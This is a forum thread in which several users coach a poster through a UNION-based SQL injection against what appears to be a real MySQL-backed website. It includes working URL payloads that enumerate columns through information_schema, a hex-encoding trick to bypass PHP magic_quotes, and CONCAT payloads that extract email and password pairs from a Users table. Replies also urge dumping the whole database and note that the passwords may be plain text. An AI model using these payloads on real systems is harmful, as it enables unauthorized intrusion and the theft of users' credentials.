Did you remember to use single quotes? Because without single quotes mysql engine will think, that it's column name!

Try something like this:

Code:

UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,COLUMN_NAME+FROM+information_schema.columns+WHERE+TABLE_NAME='here the table name'+AND+TABLE_SCHEMA='here the db name'+LIMIT+0,1/*

@gtal3x
Like I told before although i receive the Users output I can't go ferther with Limit. I always get "Users" output.
Also when i try to get some info from users it says that it does not exist :p

@waraxe
Yeh I forgot the quotes :p
but now there is an error in syntax
Code:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'table name\' AND TABLE_SCHEMA=\'db name\' LIMIT 0,1/* ORDER BY e.OK DESC, e.recI' at line 1

Yes, this is "magic_quotes" effect in php Smile
Use Hex-encoded strings like "0xaabbccddeeff" ...

Yes it just worked Very Happy

Now something that came across my mind... Is there a script which can automatically switch the LIMIT nums and copy the output? It's a bit painfull to do it manually Razz

I think i've got many things to learn from this place Very Happy

i guess u can try to find a perl script that finds the right tables and columns for you, or write it your self, but this is for mysql 4x, in 5x you can always use the information schem to find excaly what u r lookin for, use where+table_name+like+0xHEX/*

Still, it's usually good idea to dump all tables and colums - becasue there can be surprises - i mean, data you have not been searching for, but still interesting Smile

Try using LIKE. And LIMIT is maybe not needed here, because you expect single row?

Try this:

Code:

UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,CONCAT(mail,0x5e,password)+FROM+table_name+where+column_name+LIKE+0xblablahex/*

why not do it str8?
Code:
UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,CONCAT_WS(CHAR(58),mail,password)+FROM+Users/*


btw i think the best thing to do is just to dump the sql file, so u have all the emails and password, i guess u r lucky the passwords are plain text?
